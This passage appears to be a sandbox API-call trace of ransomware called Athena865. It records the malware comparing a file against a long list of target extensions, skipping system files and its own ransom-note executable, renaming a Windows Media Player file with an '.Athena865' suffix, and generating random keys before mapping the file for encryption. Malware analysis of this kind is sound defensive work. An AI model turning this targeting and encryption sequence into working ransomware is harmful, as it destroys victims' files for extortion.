lpString2=".lnk") returned 1 [0090.961] lstrlenW (lpString=".ini") returned 4 [0090.961] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".ini") returned 1 [0090.962] lstrlenW (lpString=".sys") returned 4 [0090.962] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".sys") returned 1 [0090.962] lstrlenW (lpString="wmpnssui.dll.mui") returned 16 [0090.962] lstrlenW (lpString="bak") returned 3 [0090.962] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0090.962] lstrlenW (lpString="ba_") returned 3 [0090.962] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0090.962] lstrlenW (lpString="dbb") returned 3 [0090.962] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0090.962] lstrlenW (lpString="vmdk") returned 4 [0090.962] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0090.962] lstrlenW (lpString="rar") returned 3 [0090.962] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0090.962] lstrlenW (lpString="zip") returned 3 [0090.962] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0090.962] lstrlenW (lpString="tgz") returned 3 [0090.962] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0090.962] lstrlenW (lpString="vbox") returned 4 [0090.962] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0090.962] lstrlenW (lpString="vdi") returned 3 [0090.962] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0090.962] lstrlenW (lpString="vhd") returned 3 [0090.962] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0090.962] lstrlenW (lpString="vhdx") returned 4 [0090.962] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0090.962] lstrlenW (lpString="avhd") returned 4 [0090.962] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0090.962] lstrlenW (lpString="db") returned 2 [0090.962] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0090.962] lstrlenW (lpString="db2") returned 3 [0090.963] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0090.963] lstrlenW (lpString="db3") returned 3 [0090.963] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0090.963] lstrlenW (lpString="dbf") returned 3 [0090.963] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0090.963] lstrlenW (lpString="mdf") returned 3 [0090.963] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0090.963] lstrlenW (lpString="mdb") returned 3 [0090.963] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0090.963] lstrlenW (lpString="sql") returned 3 [0090.963] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0090.963] lstrlenW (lpString="sqlite") returned 6 [0090.963] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0090.963] lstrlenW (lpString="sqlite3") returned 7 [0090.963] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0090.963] lstrlenW (lpString="sqlitedb") returned 8 [0090.963] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0090.963] lstrlenW (lpString="xml") returned 3 [0090.963] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0090.963] lstrlenW (lpString="$er") returned 3 [0090.963] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0090.963] lstrlenW (lpString="4dd") returned 3 [0090.963] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0090.963] lstrlenW (lpString="4dl") returned 3 [0090.963] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0090.963] lstrlenW (lpString="^^^") returned 3 [0090.963] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0090.963] lstrlenW (lpString="abs") returned 3 [0090.963] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0090.963] lstrlenW (lpString="abx") returned 3 [0090.963] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0090.964] lstrlenW (lpString="accdb") returned 5 [0090.964] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0090.964] lstrlenW (lpString="accdc") returned 5 [0090.964] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0090.964] lstrlenW (lpString="accde") returned 5 [0090.964] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0090.964] lstrlenW (lpString="accdr") returned 5 [0090.964] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0090.964] lstrlenW (lpString="accdt") returned 5 [0090.964] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0090.964] lstrlenW (lpString="accdw") returned 5 [0090.964] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0090.964] lstrlenW (lpString="accft") returned 5 [0090.964] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0090.964] lstrlenW (lpString="adb") returned 3 [0090.964] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.964] lstrlenW (lpString="adb") returned 3 [0090.964] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.964] lstrlenW (lpString="ade") returned 3 [0090.964] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0090.964] lstrlenW (lpString="adf") returned 3 [0090.964] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0090.964] lstrlenW (lpString="adn") returned 3 [0090.964] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0090.964] lstrlenW (lpString="adp") returned 3 [0090.964] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0090.964] lstrlenW (lpString="alf") returned 3 [0090.964] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0090.964] lstrlenW (lpString="ask") returned 3 [0090.964] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0090.964] lstrlenW (lpString="btr") returned 3 [0090.965] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0090.965] lstrlenW (lpString="cat") returned 3 [0090.965] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0090.965] lstrlenW (lpString="cdb") returned 3 [0090.965] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0090.965] lstrlenW (lpString="ckp") returned 3 [0090.965] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0090.965] lstrlenW (lpString="cma") returned 3 [0090.965] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0090.965] lstrlenW (lpString="cpd") returned 3 [0090.965] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0090.965] lstrlenW (lpString="dacpac") returned 6 [0090.965] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0090.965] lstrlenW (lpString="dad") returned 3 [0090.965] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0090.965] lstrlenW (lpString="dadiagrams") returned 10 [0090.965] lstrcmpiW (lpString1="ui.dll.mui", lpString2="dadiagrams") returned 1 [0090.965] lstrlenW (lpString="daschema") returned 8 [0090.965] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0090.965] lstrlenW (lpString="db-journal") returned 10 [0090.965] lstrcmpiW (lpString1="ui.dll.mui", lpString2="db-journal") returned 1 [0090.965] lstrlenW (lpString="db-shm") returned 6 [0090.965] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0090.965] lstrlenW (lpString="db-wal") returned 6 [0090.965] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0090.965] lstrlenW (lpString="dbc") returned 3 [0090.965] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0090.965] lstrlenW (lpString="dbs") returned 3 [0090.965] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0090.967] lstrlenW (lpString="dbt") returned 3 [0090.967] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0090.967] lstrlenW (lpString="dbv") returned 3 [0090.967] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0090.967] lstrlenW (lpString="dbx") returned 3 [0090.967] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0090.967] lstrlenW (lpString="dcb") returned 3 [0090.968] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0090.968] lstrlenW (lpString="dct") returned 3 [0090.968] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0090.968] lstrlenW (lpString="dcx") returned 3 [0090.968] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0090.968] lstrlenW (lpString="ddl") returned 3 [0090.968] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0090.968] lstrlenW (lpString="dlis") returned 4 [0090.968] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0090.968] lstrlenW (lpString="dp1") returned 3 [0090.968] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0090.968] lstrlenW (lpString="dqy") returned 3 [0090.968] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0090.968] lstrlenW (lpString="dsk") returned 3 [0090.968] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0090.968] lstrlenW (lpString="dsn") returned 3 [0090.968] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0090.968] lstrlenW (lpString="dtsx") returned 4 [0090.968] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0090.968] lstrlenW (lpString="dxl") returned 3 [0090.968] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0090.968] lstrlenW (lpString="eco") returned 3 [0090.968] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0090.968] lstrlenW (lpString="ecx") returned 3 [0090.968] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0090.968] lstrlenW (lpString="edb") returned 3 [0090.968] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0090.968] lstrlenW (lpString="epim") returned 4 [0090.968] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0090.968] lstrlenW (lpString="fcd") returned 3 [0090.969] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0090.969] lstrlenW (lpString="fdb") returned 3 [0090.969] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0090.969] lstrlenW (lpString="fic") returned 3 [0090.969] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0090.969] lstrlenW (lpString="flexolibrary") returned 12 [0090.969] lstrcmpiW (lpString1="ssui.dll.mui", lpString2="flexolibrary") returned 1 [0090.969] lstrlenW (lpString="fm5") returned 3 [0090.969] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0090.969] lstrlenW (lpString="fmp") returned 3 [0090.969] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0090.969] lstrlenW (lpString="fmp12") returned 5 [0090.969] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0090.969] lstrlenW (lpString="fmpsl") returned 5 [0090.969] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0090.969] lstrlenW (lpString="fol") returned 3 [0090.969] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0090.969] lstrlenW (lpString="fp3") returned 3 [0090.969] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0090.969] lstrlenW (lpString="fp4") returned 3 [0090.969] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0090.969] lstrlenW (lpString="fp5") returned 3 [0090.969] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0090.969] lstrlenW (lpString="fp7") returned 3 [0090.969] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0090.969] lstrlenW (lpString="fpt") returned 3 [0090.969] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0090.969] lstrlenW (lpString="frm") returned 3 [0090.969] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0090.969] lstrlenW (lpString="gdb") returned 3 [0090.969] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0090.970] lstrlenW (lpString="gdb") returned 3 [0090.970] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0090.970] lstrlenW (lpString="grdb") returned 4 [0090.970] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0090.970] lstrlenW (lpString="gwi") returned 3 [0090.970] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0090.970] lstrlenW (lpString="hdb") returned 3 [0090.970] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0090.970] lstrlenW (lpString="his") returned 3 [0090.970] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0090.970] lstrlenW (lpString="ib") returned 2 [0090.970] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0090.970] lstrlenW (lpString="idb") returned 3 [0090.970] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0090.970] lstrlenW (lpString="ihx") returned 3 [0090.970] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0090.970] lstrlenW (lpString="itdb") returned 4 [0090.970] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0090.970] lstrlenW (lpString="itw") returned 3 [0090.970] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0090.970] lstrlenW (lpString="jet") returned 3 [0090.970] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0090.970] lstrlenW (lpString="jtx") returned 3 [0090.970] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0090.970] lstrlenW (lpString="kdb") returned 3 [0090.970] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0090.970] lstrlenW (lpString="kexi") returned 4 [0090.970] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0090.970] lstrlenW (lpString="kexic") returned 5 [0090.970] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0090.970] lstrlenW (lpString="kexis") returned 5 [0090.971] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0090.971] lstrlenW (lpString="lgc") returned 3 [0090.971] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0090.971] lstrlenW (lpString="lwx") returned 3 [0090.971] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0090.971] lstrlenW (lpString="maf") returned 3 [0090.971] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0090.971] lstrlenW (lpString="maq") returned 3 [0090.971] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0090.971] lstrlenW (lpString="mar") returned 3 [0090.971] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0090.971] lstrlenW (lpString="marshal") returned 7 [0090.971] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0090.971] lstrlenW (lpString="mas") returned 3 [0090.971] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0090.971] lstrlenW (lpString="mav") returned 3 [0090.971] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0090.971] lstrlenW (lpString="maw") returned 3 [0090.971] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0090.971] lstrlenW (lpString="mdbhtml") returned 7 [0090.971] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0090.971] lstrlenW (lpString="mdn") returned 3 [0090.971] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0090.971] lstrlenW (lpString="mdt") returned 3 [0090.971] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0090.971] lstrlenW (lpString="mfd") returned 3 [0090.971] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0090.971] lstrlenW (lpString="mpd") returned 3 [0090.971] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0090.971] lstrlenW (lpString="mrg") returned 3 [0090.971] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0090.971] lstrlenW (lpString="mud") returned 3 [0090.972] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0090.972] lstrlenW (lpString="mwb") returned 3 [0090.972] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0090.972] lstrlenW (lpString="myd") returned 3 [0090.972] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0090.972] lstrlenW (lpString="ndf") returned 3 [0090.972] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0090.972] lstrlenW (lpString="nnt") returned 3 [0090.972] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0090.972] lstrlenW (lpString="nrmlib") returned 6 [0090.972] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0090.972] lstrlenW (lpString="ns2") returned 3 [0090.972] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0090.972] lstrlenW (lpString="ns3") returned 3 [0090.972] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0090.972] lstrlenW (lpString="ns4") returned 3 [0090.972] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0090.972] lstrlenW (lpString="nsf") returned 3 [0090.972] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0090.972] lstrlenW (lpString="nv") returned 2 [0090.972] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0090.972] lstrlenW (lpString="nv2") returned 3 [0090.972] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0090.972] lstrlenW (lpString="nwdb") returned 4 [0090.972] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0090.972] lstrlenW (lpString="nyf") returned 3 [0090.972] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0090.972] lstrlenW (lpString="odb") returned 3 [0090.972] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0090.972] lstrlenW (lpString="odb") returned 3 [0090.972] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0090.973] lstrlenW (lpString="oqy") returned 3 [0090.973] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0090.973] lstrlenW (lpString="ora") returned 3 [0090.973] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0090.973] lstrlenW (lpString="orx") returned 3 [0090.973] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0090.973] lstrlenW (lpString="owc") returned 3 [0090.973] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0090.973] lstrlenW (lpString="p96") returned 3 [0090.973] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0090.973] lstrlenW (lpString="p97") returned 3 [0090.973] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0090.973] lstrlenW (lpString="pan") returned 3 [0090.973] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0090.973] lstrlenW (lpString="pdb") returned 3 [0090.973] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0090.973] lstrlenW (lpString="pdm") returned 3 [0090.973] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0090.973] lstrlenW (lpString="pnz") returned 3 [0090.973] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0090.973] lstrlenW (lpString="qry") returned 3 [0090.973] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0090.973] lstrlenW (lpString="qvd") returned 3 [0090.973] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0090.973] lstrlenW (lpString="rbf") returned 3 [0090.973] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0090.973] lstrlenW (lpString="rctd") returned 4 [0090.973] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0090.973] lstrlenW (lpString="rod") returned 3 [0090.973] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0090.973] lstrlenW (lpString="rodx") returned 4 [0090.974] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0090.974] lstrlenW (lpString="rpd") returned 3 [0090.974] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0090.974] lstrlenW (lpString="rsd") returned 3 [0090.974] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0090.974] lstrlenW (lpString="sas7bdat") returned 8 [0090.974] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0090.974] lstrlenW (lpString="sbf") returned 3 [0090.974] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0090.974] lstrlenW (lpString="scx") returned 3 [0090.974] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0090.974] lstrlenW (lpString="sdb") returned 3 [0090.974] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0090.974] lstrlenW (lpString="sdc") returned 3 [0090.974] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0090.974] lstrlenW (lpString="sdf") returned 3 [0090.974] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0090.974] lstrlenW (lpString="sis") returned 3 [0090.974] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0090.974] lstrlenW (lpString="spq") returned 3 [0090.974] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0090.974] lstrlenW (lpString="te") returned 2 [0090.974] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0090.974] lstrlenW (lpString="teacher") returned 7 [0090.974] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0090.974] lstrlenW (lpString="tmd") returned 3 [0090.974] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0090.974] lstrlenW (lpString="tps") returned 3 [0090.974] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0090.974] lstrlenW (lpString="trc") returned 3 [0090.974] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0090.974] lstrlenW (lpString="trc") returned 3 [0090.975] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0090.975] lstrlenW (lpString="trm") returned 3 [0090.975] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0090.975] lstrlenW (lpString="udb") returned 3 [0090.975] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0090.975] lstrlenW (lpString="udl") returned 3 [0090.975] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0090.975] lstrlenW (lpString="usr") returned 3 [0090.975] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0090.975] lstrlenW (lpString="v12") returned 3 [0090.975] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0090.975] lstrlenW (lpString="vis") returned 3 [0090.975] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0090.975] lstrlenW (lpString="vpd") returned 3 [0090.975] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0090.975] lstrlenW (lpString="vvv") returned 3 [0090.975] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0090.975] lstrlenW (lpString="wdb") returned 3 [0090.975] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0090.975] lstrlenW (lpString="wmdb") returned 4 [0090.975] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0090.975] lstrlenW (lpString="wrk") returned 3 [0090.975] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0090.975] lstrlenW (lpString="xdb") returned 3 [0090.975] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0090.975] lstrlenW (lpString="xld") returned 3 [0090.975] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0090.975] lstrlenW (lpString="xmlff") returned 5 [0090.975] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0090.975] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\en-US\\wmpnssui.dll.mui.Athena865") returned 70 [0090.975] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnssui.dll.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnssui.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnssui.dll.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnssui.dll.mui.athena865"), dwFlags=0x1) returned 1 [0090.976] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnssui.dll.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnssui.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.976] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0090.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.977] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.977] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.977] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.977] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.977] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.978] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x154 [0090.985] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0090.986] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.987] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.987] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.987] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.987] CloseHandle (hObject=0x154) returned 1 [0090.988] CloseHandle (hObject=0x17c) returned 1 [0090.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.988] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPSideShowGadget.exe.mui", cAlternateFileName="")) returned 1 [0090.988] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.988] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.988] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2=".") returned 1 [0090.988] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="..") returned 1 [0090.988] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="windows") returned 1 [0090.988] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="bootmgr") returned 1 [0090.988] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="temp") returned 1 [0090.988] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="pagefile.sys") returned 1 [0090.988] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="boot") returned 1 [0090.988] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="ids.txt") returned 1 [0090.988] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", 